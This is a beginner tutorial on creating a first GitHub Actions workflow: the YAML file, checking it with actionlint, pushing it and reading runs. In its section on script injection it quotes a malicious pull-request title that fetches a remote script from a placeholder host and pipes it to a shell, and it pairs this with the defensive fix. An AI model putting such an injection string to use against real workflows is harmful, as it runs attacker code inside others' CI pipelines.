CI/CD and automation · Beginner · 11 min
How to Create Your First GitHub Actions Workflow
By Padding · Updated 15 Nov 2026
GitHub Actions
You will write a workflow file that runs on every push and every pull request, check its syntax on your own computer with actionlint, push it, and read the run on GitHub.
On this page
GitHub Actions runs commands for you on GitHub's computers when something happens in your repository: a push, a pull request, a schedule, a click on a button. You describe what to run in a YAML file kept in the repository, so the automation is versioned and reviewed like the rest of your code.
In this tutorial you will write the smallest useful workflow, check it for mistakes before pushing, and learn to read the result. The next tutorial, /tutorials/run-node-tests-in-github-actions, uses this skeleton to run real tests.
Step 1 · Create the workflow file
GitHub looks for workflows in .github/workflows/ at the root of the repository. Each .yml or .yaml file there is one workflow. Clone your repository (or make a new folder), and create the file:
mkdir hello-actions
cd hello-actions
git init -b main
mkdir -p .github/workflows
cat > .github/workflows/hello.yml <<'YAML'
name: Hello
on:
push:
branches: [main]
pull_request:
workflow_dispatch:
permissions:
contents: read
jobs:
hello:
runs-on: ubuntu-latest
steps:
- name: Check out the code
uses: actions/checkout@v7
- name: Say hello
env:
GREETING: Hello from GitHub Actions
run: |
echo "$GREETING"
echo "Commit: $GITHUB_SHA"
echo "Branch: $GITHUB_REF_NAME"
- name: List the repository
run: ls -la
YAMLRead it from the top:
nameis the label shown on GitHub.onlists the events that start the workflow.pushwithbranches: [main]runs on pushes tomain.pull_requestruns when a pull request is opened or updated.workflow_dispatchadds a manual "Run workflow" button.permissions: contents: readlimits the temporary token each run gets. Workflows that do not need to write to the repository should say so. Without this line, the token's default rights depend on a setting in the repository or organisation.jobsholds one or more jobs. Each job runs on a fresh virtual machine named byruns-on.ubuntu-latestis a label GitHub maps to a current Ubuntu image; the exact version behind it changes over time, so use a fixed label such asubuntu-24.04if you need to know.stepsrun in order. A step withusesruns a packaged action, and a step withrunruns shell commands.actions/checkout@v7copies your repository into the machine. A job's machine starts empty, so without itlswould show nothing of yours.v7is the current major version of that action at the time of writing; its releases page is github.com/actions/checkout/releases.envsets environment variables for one step, andGITHUB_SHAandGITHUB_REF_NAMEare provided by GitHub in every run.
YAML is strict about indentation, which is two spaces per level here. A tab character is an error.
Step 2 · Check the file before you push
Pushing to find a typo costs a round trip each time. actionlint is a free checker for workflow files. It catches YAML mistakes, unknown keys, bad expressions and shell problems in run blocks. Download a release for your system from github.com/rhysd/actionlint/releases. On Linux with an x86-64 processor, for version 1.7.12:
curl -fsSL https://github.com/rhysd/actionlint/releases/download/v1.7.12/actionlint_1.7.12_linux_amd64.tar.gz | tar -xz actionlint
./actionlint -version
sudo install -m 0755 actionlint /usr/local/bin/
rm actionlintUse linux_arm64, darwin_arm64 or darwin_amd64 for other systems. A binary you download by hand gets no package-manager updates. To upgrade, download a newer release from the releases page in the same way and install it over the old file. Run it in the repository folder, where it finds the workflows by itself:
actionlint
echo "actionlint exit code: $?"When the file is correct, actionlint prints nothing and the exit code is 0. Introduce a mistake on purpose to see what a failure looks like. This writes a second workflow with a misspelled key and then removes it:
cat > .github/workflows/broken.yml <<'YAML'
name: Broken
on: push
jobs:
oops:
runs-on: ubuntu-latest
step:
- run: echo hi
YAML
actionlint || echo "actionlint found problems, as expected"
rm .github/workflows/broken.ymlThe output points at the file, line and column, and says that step is an unexpected key and that the steps section is missing. Reading these messages is quicker than reading a failed run.
Step 3 · Push and watch the run
Commit the workflow. Git needs a name and email to record the commit; if you have not set them yet, run git config --global user.name "Your Name" and git config --global user.email "you@example.com" first.
git add .github/workflows/hello.yml
git commit -m "Add hello workflow"Then push. Replace the URL with your own repository, and note that the branch name must match main in the on: section:
git remote add origin git@github.com:YOUR-USER/YOUR-REPO.git
git push -u origin mainOn GitHub, open the repository and choose the Actions tab, something like the tab bar under the repository name. The workflow Hello is listed with a run for your commit: yellow while it runs, then a green tick or a red cross. Select the run, then the job, to see each step's output. With the GitHub CLI, the same information is in the terminal:
gh run list --workflow hello.yml
gh run watch
gh run view --loggh run list shows recent runs, gh run watch follows the current one until it ends, and gh run view --log prints the full log of a run.
Check it worked
The run is green and the Say hello step prints Hello from GitHub Actions, the commit hash and main. The List the repository step shows the checked-out files, including .github. Start it again by hand to see the third trigger:
gh workflow run hello.ymlTroubleshooting
- The Actions tab shows no run: the file is not in
.github/workflows/at the repository root, the extension is not.ymlor.yaml, or you pushed a branch that theon.push.branchesfilter does not list. - The run fails at once with
Invalid workflow file: the message names the line. Runactionlintlocally to see it with context. gh workflow runsayscould not find any workflows named hello.yml, or the manual button is missing: the workflow file must exist on the repository's default branch forworkflow_dispatchto appear.- A step fails with
Process completed with exit code 1: the real error is in the lines above it in the step's log. Fix the command and push again; there is no need to re-run by hand.
Step 4 · Keep untrusted text out of shell commands
One habit is worth forming on day one. GitHub fills in ${{ ... }} expressions before the shell sees the script. If you write run: echo "${{ github.event.pull_request.title }}", then a pull request titled "; curl evil.example | sh; " becomes part of your script. This is called script injection.
Pass the value through an environment variable instead, so the shell treats it as plain text:
- name: Print the pull request title
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "$TITLE"The same applies to branch names, commit messages and issue titles: anyone can choose those. Secrets follow the same rule and have their own tutorial, so read the next one before you use them: never write a secret into the workflow file. Add it as an encrypted secret in the repository settings and read it with ${{ secrets.NAME }}.
Next steps
- Run a Node.js test suite on every push:
/tutorials/run-node-tests-in-github-actions. - Deploy to your own server from a workflow:
/tutorials/deploy-to-a-server-over-ssh-with-github-actions. - Keep credentials out of your repository:
/tutorials/keep-secrets-out-of-git. - The workflow syntax reference is at docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax.
Need this done for you?
Padding does this work for growing companies, from the first diagnosis to a system that keeps working.
Get new tutorials